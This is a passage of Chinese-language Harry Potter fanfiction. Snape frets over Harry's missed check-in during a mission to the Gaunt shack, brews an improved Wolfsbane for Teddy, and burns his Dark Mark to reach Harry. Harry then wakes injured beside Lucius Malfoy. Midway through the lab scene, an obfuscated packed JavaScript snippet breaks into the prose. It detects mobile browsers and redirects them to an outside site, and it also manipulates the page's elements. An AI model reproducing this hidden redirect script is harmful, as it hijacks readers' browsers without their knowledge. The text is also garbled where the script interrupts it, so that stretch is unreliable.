“够了!”西比突然叫道,跳到蛋糕旁,“这是生日庆祝,不是忧伤大会。”他对着蛋糕皱起鼻子,“虽然我不理解你们对这种甜腻物体的迷恋,但传统就是传统。”他对泰迪挥手示意,“吹蜡烛,许愿,然后吃掉它。难道这不是常规流程吗?” 斯内普淡淡地说,“别把蛋糕浪费在感伤上,卢平。吃完早点回宿舍。” 泰迪吸了口气,屏住呼吸,目光从哈利移到斯内普,最后落在小人偶身上。然后他闭上眼睛,一口气吹灭了所有蜡烛。 85. 无处可逃的魔药教授 【1993年1月29日,凌晨2:15,地窖卧室】 斯内普又一次在床上翻了个身。他盯着天花板上的一道裂缝,直到眼睛发酸。 地窖里很安静,可他睡意全无。那些烦人的脚步声、窃窃私语和没完没了的问询已经随着乌姆里奇和她那帮调查员的离去而消失。往常,这种安静正是他所需要的。今晚,每一秒钟的寂静都令他越发心烦意乱。 太静了,静得他的思绪无处可躲,总绕回那个问题——为什么那个该在五小时前联系他的人,到现在还杳无音讯? 哈利·波特。又是哈利·波特。 约定的联系时间已经过去五个小时。没有消息,没有信号,什么都没有。那个自作主张的蠢货显然忘了自己的承诺。 三天前,波特离开时,还一副轻松得像是去对角巷买坩埚的模样,也不知他是怎么糊弄过邓布利多的,那个蠢透了的计划在他眼里仿佛只是小事一桩。 “第三天晚上我会找个机会联系你的。”波特一边说,一边把堆得像小山似的魔药往箱子里塞,“别担心,我本来就没打算认真找魂器,冈特老宅那边我会见机行事。” “我没有担心,波特。”斯内普当时冷冷地回道,“我只是不想在你死后被邓布利多指责没有尽到职责。这些魔药够你应付任何突发状况——除非你蠢得连瓶盖都拧不开。” 他给波特备下了各种药剂——解毒剂、反诅咒药剂、补血剂,还有足够维持小克劳奇伪装一个月的长效复方汤剂。为什么这么费心,他自己也无法解释。波特只是嘀咕了一句“箱子快被你的魔药塞爆了”,然后固执地拒绝了任何陪同或增援,理由永远是那套保护别人、不连累无辜的鬼话。蠢货,好像他独自面对一个可能的魂器和卢修斯·马尔福就不会涉险一样。 即使到了离开前一晚,那股近乎鲁莽的责任感也没半点消停。斯内普竟然被卢平那个精力过剩的小崽子拖着,和波特一起又收听韦斯莱双胞胎那个吵闹的地下广播节目。广播里宣布D.A.成为了正式的决斗协会,低年级学生则可以参加决斗俱乐部。小家伙兴奋地拽着波特,嚷着要提前学决斗技巧,据说是为了让罗恩·韦斯莱能在俱乐部里“炫耀一把”。 斯内普靠在墙边,对这种幼稚的学生团体嗤之以鼻。波特却对他教子无可奈何又纵容地答应了下来——一个转头就要去执行危险任务的人,竟还有闲心操心这些小鬼的玩闹。 斯内普烦躁地坐起身,捏住鼻梁。这些回忆一点用都没有,只会加剧他的头痛。他下了床,赤脚踩在冰冷的石板上。这份寒意让他稍微清醒了些。 墙上的挂钟指向凌晨四点零八分。他需要做点什么,任何事,只要能打破这令人窒息的等待。他的目光不由自主地落在左臂上——黑魔标记,那个最后的、代价高昂的联络手段。如果二十四小时后波特还没消息…… 不,还没到那步。他强迫自己移开视线。也许离开这地窖,能让这该死的不安感减轻一些。来一剂提神剂或一杯茶,或者找个倒霉蛋扣点分,总比在这儿干熬强。 【1993年1月29日,早上8:25,礼堂教师席】 斯内普阴沉着脸步入礼堂,学生们的喧闹声像钝器砸在他因彻夜未眠而胀痛的太阳穴上。他直奔教师席,只想弄杯茶压下这头痛。刚坐下,一个热情得刺耳的声音就凑了过来。 “早啊,西弗勒斯!真令人遗憾乌姆里奇女士不得不离开,不是吗?她对我上课方法的欣赏可是独一无二。不过没关系!我正考虑给她寄一套我的签名照片,附上我的新书《与巨怪共舞》的章节预览——当然是亲笔签名版。你觉得她会喜欢吗?” 斯内普眼皮都没抬,挥魔杖召来茶壶。 “说起来,”洛哈特完全无视他那“请勿打扰”的冷淡气场,自顾自往下说,“我接替佩弗利尔教授的高年级课程进展顺利,学生们对我的教学方法简直着了迷!他们的热情我都招架不住,你懂的,他们总是渴望从真正的专家那里学到点东西。” 斯内普面无表情地给自己倒了杯茶。 “实话实说,”洛哈特身子前倾,装着压低声音,音量却够邻座全听见,“我极为赞成乌姆里奇女士的观点,为什么邓布利多会聘用那样一个籍籍无名的年轻人当黑魔法防御术教授?我的书可是畅销全欧洲!可怜的佩弗利尔有什么拿得出手的?打败过什么黑魔法生物吗?” 斯内普放下茶杯,抬起眼睛。“洛哈特教授,”他声音低沉平静,“当一位教师在谈论魔法防御问题时,我认为其资质不应该由签名照片的销量来衡量。或许你愿意向我们展示如何应对一个失控的复方汤剂变形?或者详述面对使用不可饶恕咒的黑巫师时的防御策略?” 洛哈特的笑容凝固了一瞬。“这个……当然可以,我的书中也包含了大量实用技巧——” 一丝快意掠过斯内普心头,整晚的郁气似乎散了点。 “我上次跟佩弗利尔教授聊过。”他语调不变,“五年级学生已经能使出三种对付黑魔法生物的高级防御咒。令人印象深刻,尤其他的课程不用参考什么……自传畅销书。” 斯内普站起身,“失陪,洛哈特教授。我相信你还有照片需要签名。” 洛哈特眨了眨眼,随即又恢复了那副闪亮的笑容,仿佛刚才的对话只是小小的插曲。“啊,西弗勒斯,总是这样严肃!这正是我欣赏你的地方!”他故意拔高嗓门,好让其他教师听见,“我一直觉得实践和理论得并重。改天咱俩来场决斗示范怎么样?让学生们开开眼,见识下专家风采?” 然而,他这番话是对着空气说的。斯内普早已头也不回地离开了教师席。 走向礼堂门口的路上,他听见身后学生在窃窃私语。 “他刚才是帮佩弗利尔教授说话了吧?” “梅林啊,前哨站说的难道是真的……” “你说他们俩……” 斯内普停下脚步,锐利的目光扫向声音来源,“走廊上禁止喧哗。拉文克劳扣五分。格兰芬多扣十分。” 学生们一哄而散。斯内普冷哼一声,继续往前走。该死的广播节目。自从那期“八卦前哨站”暗示他和佩弗利尔教授关系“不一般”后,整个学校的目光都变得奇怪起来。他早该建议邓布利多禁了这种胡说八道的玩意儿! 这个念头瞬间浇灭了他刚刚升起的那点“神清气爽”。烦躁感如同地窖里潮湿的霉味,又悄无声息地爬了上来。 【1993年1月29日,上午10:00,地窖魔药课教室】 “再次提醒你们,”斯内普站在教室前方,声音像冰冷的蛇一样滑过每个学生的耳膜,“萎缩药剂的配制误差,后果往往不止是失败,更是灾难性的不可逆。如果谁想把自己或者同伴变成永久性的侏儒,大可以继续你们那漫不经心的操作。” 坩埚散发的气味混杂在一起,教室里满是学生们手忙脚乱处理药材的声响。斯内普在课桌间穿行,目光扫过一个个坩埚,心不在焉地检查着学生们的操作。 “隆巴顿!”他突然停在纳威·隆巴顿的桌前,声音冷得足以冻结坩埚里的沸水,“你是在用巨怪的力气捣碎缬草嫩枝吗?我要求的是均匀细条!瞧瞧你砧板上这些……令人作呕的块状物!格兰芬多扣十分!” 纳威抖得像筛子,险些打翻坩埚。斯内普嫌弃地皱了皱眉,正要转身,余光却捕捉到隔壁桌上的操作。 泰迪·卢平正专注地处理着同样的缬草嫩枝。小刀落下,嫩枝被切成整齐的细条。他的坩埚冒着标准的淡紫色蒸汽,散发出甘草气味。 斯内普盯着泰迪的操作看了几秒,才开口,“……卢平的操作堪称完美,至少还有人看得懂指示。格兰芬多加二十分。” 泰迪惊讶地抬起头,露出一个腼腆又开心的笑容。 教室里起了点小骚动,但格兰芬多那边没太大反应,显然习惯了他对泰迪的“偏心”。罗恩·韦斯莱悄悄凑过去,低声嘀咕了句什么,得意地拍了拍泰迪的肩,好像那分数是他挣回来的一样。而赫敏·格兰杰则探过头瞄了眼泰迪的坩埚,像在核对步骤。 斯内普注意到这些小动作,没吭声,而是继续他的巡视。 熟悉的课堂流程让他得以部分自动运转——指出错误、扣分,偶尔为斯莱特林或泰迪的正确操作加分。但他的心思压根不在这里。每次目光扫过泰迪,总会不由得想到那个不知身在何处的波特。 焦虑感压在胸口,使得这堂原本就乏味的课变得难以忍受,甚至令人烦躁。 “教授,我可以问个问题吗?”泰迪举起手,打断了斯内普的思绪,“要是这一步加点鼠尾草叶会怎么样?” 斯内普的目光转向他,言简意赅地回答,“理论上可行,但需要调整火候,避免过度沸腾破坏鼠尾草的活性成分。” 下课铃响时,斯内普几乎是立刻转向全班。 “所有人,下周我要一篇关于萎缩药剂历史沿革及常见错误的论文,至少两英尺长,用标准羊皮纸。” 说完,他挥了挥手,示意他们赶紧滚蛋。学生们如获大赦,匆匆收拾东西离开,只有泰迪在门口迟疑了一下,似乎想说什么,但最终还是被罗恩和赫敏拉着走了。教室很快空了下来,只留下斯内普一个人站在原地,被各种魔药气味和无法驱散的担忧所包围。 【1993年1月29日,午后14:10,霍格沃兹走廊】 六年级的魔药课同样乏善可陈。赫奇帕奇和拉文克劳的学生虽然比二年级的小鬼们好一些,但在斯内普眼里,他们的水平依旧平庸得令人绝望。他勉强撑完了这节课,宣布下课便径直离开,只想回到地窖的安静中去。 然而,刚走到走廊拐角,他就被人叫住了。 “斯、斯内普教授?” 他停下脚步,不耐烦地转过身。两个赫奇帕奇六年级女生站在那里,紧张地互相推搡。斯内普挑眉,暗自猜测她们又要问哪些愚不可及的魔药问题。 “那个……”胆子稍大的女生开了口,“我们……就是想问问,您知道佩弗利尔教授大概什么时候能回来吗?我们都很想念他的防御术课。” 斯内普脸上的表情凝固了。他差点以为自己听错了。她们竟然问他关于佩弗利尔的事?还用那种满含期待的语气?他心里蹿起一股荒谬的怒意。 “我的职责是教导你们魔药学。”他咬着牙挤出这话,声音低得吓人,“而不是替你们打听同事的去向。还是你们觉得我的魔药课太清闲,让你们有时间关心别的事情?赫奇帕奇扣十分!现在,离开!” 两个女生吓得脸煞白,慌慌张张地逃走了。斯内普站在原地,脸色铁青,能清晰地感觉到自己太阳穴的血管在突突直跳。这到底是怎么回事? 更气人的是,他没走几步,就迎面撞上了弗立维教授。这位身材矮小的魔咒课教授踮着脚,手里攥着一卷羊皮纸,哼着小调,一脸兴高采烈。 “啊,西弗勒斯!”弗立维一见他眼睛就亮了,“正好碰上你!我有些事想问问!” “什么事,菲利乌斯?”斯内普干巴巴地回应,勉强维持着表面的礼貌。 “是关于哈利。”弗立维完全没察觉他的不耐烦,继续说,“你知道他什么时候回来吗?我想和他讨论一下上次他提到的盔甲护身咒古代变体!我回去查阅了《古代魔咒精粹》,发现了一些非常有趣的记载……如果你见到他,务必提醒他来找我!我想到一个绝妙的应用!” 斯内普感觉额角又开始抽搐了。他僵硬地点了点头,喉咙里挤出个含糊的“嗯”,就头也不回地快步走了。 他现在是被整个霍格沃兹认定成佩弗利尔的什么人了?传声筒?监护人?还是行程秘书?为什么这群白痴都理所当然地认为他应该知道佩弗利尔的行踪,并且有义务替他们转达这些鸡毛蒜皮的破事? 回到地窖,他重重关上门,长出一口气。无论他走到哪里,似乎都无法摆脱哈利·那个该死的波特·佩弗利尔的影子。 要是放在一年前,不,哪怕半年前,他会立刻采取行动,用最刻薄明确的方式与那个名字划清界限,让所有人都知道,西弗勒斯·斯内普和哈利·佩弗利尔之间只有必要的、基于邓布利多命令的、随时可能破裂的暂时合作关系。但是现在…… 自从在那个奇异空间中目睹了不属于他的“过去”,他心中维持的平衡便崩塌了。另一个时间线的哈利·波特不仅为洗清他的污名付出了近乎偏执的努力,更令人难以置信的是,驱动这一切的竟是那份他无法理解的……情感。 事后,他暗地里试探过,但佩弗利尔表现如常,没有半点被那深重情感影响的迹象。这让他暂时不用面对一个可能对他有特殊感情的同事——至于这结论有没有让他暗自松口气,斯内普懒得去想。 两年来的并肩作战,尽管斯内普再不情愿,也得承认——他们之间有了某种默契。他渐渐习惯了佩弗利尔身上那些特质:被那点可笑的格兰芬多式热血驱动,那感情用事、不顾后果的行事方式,却又有着超越年龄的责任感和韧性。 可那些记忆把一切都搅乱了。它们揭开个更复杂的真相——佩弗利尔对他的信任不是因为现在的合作,而是来自一段他没经历过的“历史”,一段沉淀成他理解不了的情感执念。 爱?对他?这念头让斯内普本能地排斥。他这样一个行走在阴影中的人,怎可能成为别人“珍贵记忆”的核心?尤其是“哈利·波特”这个名字与“爱”这个词在同一个句子里出现,让他感到荒谬至极。那个波特是不是脑子被巴波块茎的脓汁给彻底糊住了? 因此,当学生和同事如此自然地将他们联系在一起,他感到的不再是对詹姆斯·波特的尖锐排斥——这种情绪早已在近两年的共事中被现实磨钝了大半——而是一种如同走在摇晃浮冰上的无所适从。 这让他如芒在背。他被迫成为这种荒谬秘密的唯一知情者,不得不背负他人沉重的过往和情感。他绝对不可能向任何人——尤其不能向邓布利多——透露半分。 偏偏现在,那个秘密的核心,那个引发这一切混乱的佩弗利尔,又该死地不见了。 【1993年1月29日,下午15:33,地窖办公室】 桌面上的魔药论文堆积如山,羊皮纸上歪歪扭扭的字迹和错误百出的配方看得他额头青筋直跳。斯内普毫不留情地用红墨水划下一个又一个“T”,试图用这种方式发泄心中的闷气。 可批改至一份特别糟糕的论文时,他的思绪却滑向了另一个方向。上次在波特办公室,他瞥见的那个“跑得快的小麻烦”——波特以为是丽塔·斯基特的阿尼马格斯形态,但那分明是个迅速消失的黑色影子,体积和速度绝非甲虫所能有的。 黑色影子……斯内普眯起眼睛,冷笑一声。联想到詹姆斯·波特和小天狼星·布莱克突然出现在调查会上,以及波特提到布莱克曾去找过邓布利多的事——答案呼之欲出。 除了那个鲁莽冲动的布莱克,还能是谁?典型的掠夺者作风,永远学不会光明正大。讽刺的是,波特那个傻瓜居然还在担心布莱克是否会接受他——看看布莱克在调查会上那恨不得把眼珠子粘在他身上的模样,就知道那家伙准会毫不犹豫认下这个“教子”。倒是詹姆斯·波特对这个“儿子”的态度挺耐人寻味。 红墨水滴在羊皮纸上,晕开一滩墨迹。斯内普扔下羽毛笔,才发现自己又在想波特。这已经成了甩不掉的习惯,那个人总有让人没法忽视的本事,不管他是哈利·波特,还是哈利·佩弗利尔。 更让他恼火的是波特最近的行为。那声越来越顺口的“西弗勒斯”,那种谈话时缩短的距离,还有那毫无戒备的信任——像根羽毛,轻挠着他紧绷的神经,挠得他浑身不自在。 当波特宣布要独自一人假扮小克劳奇去冈特老宅时,斯内普脱口而出:“我跟你一起去。”这话一出口,他自己都感到震惊。他不是该冷眼看着一个波特自找苦吃吗?他死在外面又关他什么事? 可波特拒绝后,他心里却翻起另一种滋味——一种他死活不想承认的担忧。那之后一周,他除了应付调查会、给波特打掩护,还把自己关在地窖,闷头熬魔药。解毒剂、反诅咒药、愈合药水……多得够对付一场小型灾难。 斯内普的目光不自觉掠过魔药架,落在几瓶贴着“无梦药剂”标签的成品上。那是为波特准备的。最近他需要的剂量似乎越来越少了,这本该是个好迹象,说明他在努力摆脱那些纠缠他的噩梦。然而此刻,这几瓶药剂却像是在无声地提醒他波特的缺席和未知的危险,让那份压抑了一下午的焦虑再次翻涌上来。 视线挪到书架后的石墙,那儿有块微凹的地方,藏着通往波特卧室的密道。是卧底任务开始后弄的应急通道,上次刚用过一回。他还记得波特当时满头冷汗、神色紧绷地闯进来的样子,那双和莉莉一模一样的绿眼睛里是显而易见的焦急与紧迫,不同的是这双眼睛的主人是那么的信任他,毫不迟疑地寻求他的帮助。 直到现在,独自坐在空荡荡的办公室,被一堆糟糕论文和波特留下的“痕迹”围着,斯内普才后知后觉——这间地窖已经不再完全属于他自己了。 更让他不安的是,他居然不讨厌这种感觉。波特走了这两天,他反倒觉得浑身不对劲,像少了点什么,空落落的,烦得要命。 焦虑感再次袭来。他发现自己不只是在担心一个搭档的安危,更怕面对某些画面:要是波特带着一身伤回来,自己该怎么给他治疗? 要是他压根回不来……斯内普硬生生掐断这念头。 斯内普感到一种前所未有的烦躁。他并不害怕面对波特本人,只是恨透了这种失控的破局面——全因为那些他管不了的“过去”,把他拖进这团糟心乱麻。就像是被迫套了件不合身的、沾满别人气味的长袍,既不舒服,又脱不下来。 【1993年1月29日,傍晚18:45,地窖实验室】 斯内普微调着坩埚下的火苗, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156423|180577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 硬把注意力钉在眼前的实验上。魔药研究——这是他躲开白天乱七八糟思绪的最后一块阵地。他小心地滴入几滴粘稠液体,坩埚里的药剂立马泛起深蓝色的涟漪,空气里飘起一股草药混杂的怪味。 里面熬制的,是他中断了好几天、如今终于能重新拾起的改良配方——缓释狼毒药剂。 几个月前,斯拉格霍恩在魔法部晚宴上,用那种特有的圆滑口吻暗示,若要是能改良一种“有社会影响力”的魔药,梅林三级勋章简直唾手可得,还能“大大提升在魔法部的声望”。当时他脑子里蹦出好几个更有学术分量的配方,可最后却莫名其妙挑了狼毒药剂——一个他本不该感兴趣的方向。 现在想来,这选择并非偶然。想到如果成功,不仅能获得学术界的最高认可,还能瞧见波特惊讶和感激的表情。至于詹姆斯·波特和小天狼星·布莱克那两个蠢货,为了他们那个毛茸茸的狼人朋友,至少也得放下他们那可笑的傲慢。他甚至能想象莉莉大概会真心为莱姆斯·卢平感到高兴,或许还会带着她那让人恼火的丈夫,过来进行一番礼节性的道谢。 这个念头,连同让那两个蠢货吃瘪的想象,勾出一丝夹着阴暗快感和某种说不清滋味的复杂感觉。 “西弗?” 一个脆生生的声音打断了他的想法。泰迪·卢平不知什么时候溜了进来,正站在门口好奇地探着脑袋。这孩子越来越习惯不敲门就进来了。 “什么事?”斯内普没有回头,继续搅拌着坩埚里的药液。 泰迪凑近几步,先规规矩矩问了课上那个魔药问题——斯内普耐着性子解答了,语气甚至称得上平和。接着,男孩犹豫片刻,问出了他真正关心的问题:“哈利……他什么时候回来?”声音里带着掩饰不住的担忧。 斯内普搅拌的动作顿了一下。他注意到泰迪的头发边缘开始转为灰蓝色,明显心事重重。这孩子总是把情绪写在脸上,或者更准确地说,写在他的头发上。他突然意识到泰迪比一般小孩敏感得多——或许是因为失去父母的经历,又或许是与生俱来的特质。 “快了。”他尽量让自己的声音听起来平稳,“你教父正在处理一些重要事务,不方便联系。别担心。”他补充道,声音里带着刻意的生硬,“你教父比巨怪还难对付,我们该祈祷的是他别惹什么大麻烦回来。” 泰迪似懂非懂地点点头,担忧并未完全散去。他的目光落在了斯内普面前那冒着奇异光泽的药剂上,暂时被好奇心分散了注意力,“西弗,你在做什么魔药?” 斯内普看了他一眼,“狼毒药剂。”他轻描淡写地回答。 泰迪的眼睛瞬间睁大了,头发一下变成惊讶的橙色,“狼毒药剂?” “我正在尝试一种缓释配方。”斯内普补充道,低头检查魔药的状态,“如果成功,它能延长药效作用时间,减轻变形时的痛苦,甚至允许使用者在变形后保留部分理智和自控力。” 他抬头时,发现泰迪正用一种复杂的眼神看着他。男孩的头发逐渐变成了暖黄色。 “这是为了我爸爸吗?”泰迪轻声问。 斯内普没有立即回答。他曾经告诉自己,选择改良狼毒药剂只是为了追求梅林勋章,但面对泰迪期待的眼神,他无法撒谎。 这不是鬼使神差,也不是一时兴起。或许从一开始,当他选择狼毒药剂作为研究方向时,潜意识里就已经有了这个念头。莱姆斯·卢平——那个他瞧不上却因莉莉、如今又因眼前这孩子而无法彻底割舍的人——现在可能已知道泰迪的真实身份。无论卢平能否接受这个突然出现的儿子,这份改良药剂至少能提供一重保障。 “你父亲即使知道你的身份,也会担心自己的狼人状态会伤害到你。”斯内普实事求是地说,“这种改良药剂可以让他更好地控制自己,给你们提供更安全的相处环境。” 泰迪怔怔地听着,眼睛越睁越大,里面迅速蓄满了水汽。下一秒,他做了一件斯内普完全没有预料到的事——他冲过来抱住了斯内普。 “谢谢你,西弗!”男孩声音闷闷的,带着浓重鼻音,“真的……谢谢你!” 斯内普浑身僵硬。他很少与人有这样亲密的肢体接触,本能地想推开,但手臂抬到一半又停住了。犹豫几秒后,他笨拙地把手放在泰迪那已变成亮金色的头发上。 泰迪稍微松开他,脸上还挂着泪珠,他抬起头,带着一丝新的担忧问道,“可是这个药剂一定很难做,也很贵吧?爸爸他……他要怎么才能拿到呢?” 斯内普收回手,恢复了他惯常的冷淡表情,“这就不需要你来操心了。这难道不该是你那位‘无所不能’的教父需要解决的问题吗?确保他教子的父亲能用上最好的魔药,难道不是一位负责任的教父最起码的义务?” 他顿了顿,补充道,“当然,记得提醒佩弗利尔,这改良版的材料不便宜,尤其是里面的火龙血和月光草。账单我会准备好的。” 泰迪看着斯内普一本正经的表情,忍不住“噗嗤”一声笑了出来,眼泪还挂在脸上,笑容却已经绽开。他用力点头,“嗯!我会告诉哈利的!” 斯内普看着面前这个小小身影,忽然觉得任何不喜欢这孩子的人,都不如把自己变蟾蜍,再扔个遗忘咒清清那被偏见塞满的脑子。他想到波特,那个自己不过二十出头,却对泰迪照顾无微不至的年轻人,他的责任感和付出远超许多不称职的父亲。 最终,他轻轻拍了拍泰迪的背,说:“你该回去了,卢平。” 泰迪却没有动。“你觉得哈利会没事吗?”他再次问道,显然哈利的安危始终萦绕在他心头。 “你教父比表面看上去坚强得多。”斯内普回答,声音中有一丝他自己都没意识到的柔和,“他知道如何照顾自己。” 泰迪点点头,还是有点不安。“如果他明天还没回来,我能再来问你吗?” “如果这能让你安心的话。”斯内普干巴巴地说,“现在走吧。” 【1993年1月30日,凌晨2:15,地窖卧室】 时钟的指针无情地滑过午夜,随后是一点、两点……距离约定的二十四小时时限早已过去。哈利·波特,依然音讯全无。 斯内普再也无法借实验麻痹自己。他是不是该告诉邓布利多?这个念头反复出现。波特执意隐瞒冈特老宅的事,很大程度上是为了不让邓布利多重蹈覆辙。可如今,局势失控,难道要让那个老狐狸安安稳稳地坐在校长办公室里,对这一切置身事外吗?一股混合着忧虑和不甘的怨气在他胸中翻腾。 最终,他下定决心,不能再等了。 斯内普停顿片刻,意识到自己接下来的举动可能带来的后果。使用黑魔标记进行这种强制联络不仅会耗费巨大魔力,更会引起黑魔王的注意。一旦伏地魔感知到标记的异常波动,他这个“忠诚仆人”将不得不解释为何擅自启动标记联系小克劳奇。无论编造什么理由,都可能导致多年来精心维护的伪装在瞬间崩塌。 只是他现在顾不上这么多了。 “波特,你最好有充分的理由没有联系我。”斯内普低声说,猛地扯开左臂的袖子,露出那个狰狞的黑色骷髅与蛇的标记。 他深吸一口气,将魔杖抵在标记上。阴冷的力量顿时从皮肤下涌动,他的魔力以惊人速度被抽离、燃烧。随着低沉咒语的念诵,黑魔标记发出刺眼绿光,灼热感如火蛇般沿手臂蔓延。 咒语最后一个音节落下,标记完全燃烧起来,灼热的疼痛几乎使他跪倒。这远比通常的召唤痛苦得多。斯内普全身颤抖,咬紧牙关强撑着不让自己倒下。 消息已发出,简短而明确:“回应。立刻。” 施法结束的瞬间,斯内普踉跄一步,险些摔倒。强烈的虚弱感席卷全身,他立刻灌下几瓶珍藏的高浓度补魔药剂。药剂带来的暖流稍微缓解了魔力透支的空虚感,但深入骨髓的疲惫无法驱散。 他凝视着手臂上的黑魔标记,静静等待。等待壁炉火焰转为绿色,或者传来任何形式的回应。 一分钟过去了。 五分钟过去了。 十分钟,二十分钟,半个小时…… 黑魔标记早已冷却,恢复了它平时死寂的模样,仿佛刚才那剧烈的魔力波动从未发生过。 没有任何回应。 斯内普的心沉到谷底。他比谁都清楚这种联络的强制性。只要波特还活着,只要他还有基本意识和魔力,就不可能收不到这个信号,更不可能不做出回应。除非他根本无法回应。 波特出事了,甚至可能遭遇了最坏的情况。 一瞬间,某种混合着恐惧的怒意瞬间扼住了他的呼吸——是对卢修斯?对伏地魔的魂器?还是对波特那该死的自以为是?他无暇分辨,也来不及细想。 斯内普撑起身体,剧痛在浑身游走,魔力透支令他头晕目眩,脚步虚浮。但此刻,身体的疼痛显得微不足道。不能再耽搁了,一刻也不能。 他必须立刻去见邓布利多。 86. 冈特的诅咒 剧痛,像一把烧红的铁钳狠狠拧进骨头里,将哈利从黑暗的深渊中拽了出来。他呻吟一声,意识混沌,眼前只有模糊的黑色剪影在晃动。喉咙干得像被砂纸刮过,每一次呼吸都伴随着胸腔深处撕裂般的剧痛。他尝试动动手指,却发现连这点力气都不剩了。 过了好一会儿,哈利的视线逐渐适应了四周的黑暗。他眨了眨沉重的眼皮,发现自己躺在荆棘丛中,头顶是漆黑的夜空,盘根错节的树枝挡住了稀疏的星光。空气冰冷潮湿,腐叶和湿泥土的腥臭中透着一股黑魔法留下的阴寒气息。 “冈特老宅……”他记起来了,声音干涩得几乎听不见。 他艰难地扭动脖子,视线扫过四周。几步外,卢修斯·马尔福蜷缩在地上,面色死白,嘴唇发青。他的身体偶尔极其轻微地抽搐一下,眉头死死拧在一起,似乎还深陷噩梦中,毫无醒来的迹象。 现在是什么时候?哈利感觉慢慢恢复了点力气,费力地抬起一只手,这个简单的动作如今也格外困难,骨头像散了架,每一寸肌肉都在酸痛呻吟。他看向手腕上的那块麻瓜手表,指针仍在转动,无情地宣告了一个事实——他错过了与斯内普约定的联系时间。 而在他几乎耗尽所有魔力的情况下,别说联系斯内普,他怀疑连一个最基本的荧光闪烁都施展不出。 彻底搞砸了。这个事实比任何□□上的痛楚都来得更清晰、更尖锐。 斯内普的脸浮现在他脑海中,那双深不见底的黑眼睛冷冷地盯着他,仿佛在说:“我早就警告过你,波特。”那些尖刻的话语,每一条都成了现实。 哈利懊恼地回想起出发前自己的那些保证,想起那份可笑的自信——仅凭未来的那些记忆,他竟以为能掌控一切,甚至愚蠢地相信自己能找到“合理的理由”全身而退…… 脸上突然传来一阵异样的刺痒和麻木感。他下意识抬手去摸,碰到的是正在蠕动变形的皮肤——复方汤剂竟然开始失效了!哈利的心沉了下去。 这不可能!他喝的明明是效力长达一个月的魔药,这才几天,怎么就要失效了?是因为黑魔法的诅咒侵蚀了药效吗? 该死的,备用的复方汤剂还在旅馆的箱子里。他根本没料到长效魔药会出这种岔子,只想着轻装简行,身上只带了必要的愈合剂和解毒剂。 他的脸正在变回原样,一旦被人发现—— 这个可怕的念头刚一升起,哈利的耳朵就捕捉到了一丝微弱的声响,那声音极像幻影移形特有的爆裂声。紧接着,仿佛是为了印证他最坏的猜测,不远处传来了脚步声——轻得几乎融入夜风穿过树叶的沙沙声,无疑是有人刻意放轻脚步踩过枯叶的声音。 不是错觉。 有巫师来了。而且,正在朝着这个方向搜索! 恐慌瞬间攥紧了哈利的心脏。他下意识想撑起上半身,但手臂刚一用力,剧痛就让他眼前一黑,再次脱力,重重摔回冰冷的地面。 脚步声越来越近,已经能听到树丛被拨开的声响。 哈利看向仍旧昏迷的马尔福,心中一个念头迅速成形。绝不能让来人发现卢修斯!更不能被发现本应死在阿兹卡班的“小克劳奇”和卢修斯·马尔福在一起,这会带来无穷无尽的麻烦和解释不清的问题,引发无法预料的后果。 他咬紧牙关,调动起身体里最后的一点力量,忍着每一次移动带来的撕心裂肺的痛楚,开始拖拽卢修斯。这具身体比他想象的要沉重,每挪动一寸都耗费巨大力气。汗水混着泥土流进眼睛,但他没有停下,直到把卢修斯拖进旁边一处更浓密的荆棘丛深处,又胡乱抓了些枯枝败叶盖上去。 做完这一切,哈利瘫倒在地,大口喘着气,感觉自己下一秒就要重新昏过去。他挣扎着,朝与卢修斯藏身处相反的方向挪动了几步,并刻意加重脚步,踩断了一根脚下的枯枝,发出清晰的“咔嚓”声。 把注意力引到我身上来。他想。不管来的是谁。 身体的剧痛和精神的极度疲惫让他的意识开始变得模糊。他本来计划好了一切,只是想……只是想制造一个合理的失败…… 思绪渐渐混乱,记忆倒流,将他拖回到两天前——那个一切尚未脱轨的开始。 —————— 两天前。 阴沉沉的天色压得很低,随时要挤出雨水来。小汉格顿像一块被遗忘的污渍,随意地泼洒在连绵起伏的乡间。哈利顶着小巴蒂·克劳奇那张苍白、神经质的脸,跟在卢修斯·马尔福身后,走在村子唯一泥泞的主路上。他刻意保持阴沉和沉默,努力扮演着记忆中那个食死徒给人的阴郁感觉。 身旁的卢修斯完全是另一番景象,他走得很慢,每一步都透着嫌恶,眉头紧蹙,仿佛连这里的空气都污浊不堪。他还时不时抬起手,用一块绣着马尔福家徽的手帕,极其讲究地掸掉斗篷上根本不存在的灰尘。 两人几乎不交流,之间的气氛冰冷得能结出冰渣,偶尔交换的眼神中满是戒备和互不信任。哈利很清楚,这次所谓的“合作”,不过是伏地魔命令下的权宜之计。 这一路上房屋稀疏,大多破败不堪,路上几乎看不到人,偶尔有村民从窗帘后投来短暂而警惕的一瞥,随即又消失不见。 “就是这儿了。”卢修斯停在一栋歪歪斜斜的木头房子前,声音里带着毫不掩饰的不耐烦。他们的目标是村里唯一看起来还在营业的酒馆——“绿龙”。相比龙,那褪色的招牌更像一条病恹恹的蜥蜴。 推开吱呀作响的木门,一股混合着劣质啤酒、烟草和霉味的浑浊空气迎面扑来。酒馆内光线昏暗,几名村民散坐在角落里喝酒,看到他们进来,只是随意抬了抬眼皮。 吧台后面站着一个身材敦实的男人,围着油腻的围裙,正慢吞吞地擦拭玻璃杯,在看到他们两个与村子格格不入的闯入者时,眼神立刻充满了警惕。 “冈特老宅在哪个方向?”卢修斯率先开口,语气像是在下达命令。 酒馆老板,阿尔伯特·威尔金斯,眉头皱了起来,“冈特老宅?”他狐疑地打量着衣着考究的卢修斯,又瞥了一眼阴影里那个沉默不语的同伴,“你们这些外乡人,找那鬼地方做什么?”他放下手中的杯子和抹布,声音压低了一些,语气中充满根深蒂固的恐惧,“那儿可不是什么好去处,邪性得很。” “我们替一位大人物办事。”卢修斯的声音里透着居高临下的敷衍,“告诉我们地方,你会得到几个加隆。” “加隆?”阿尔伯特没听懂这个词,脸上的困惑更重了。 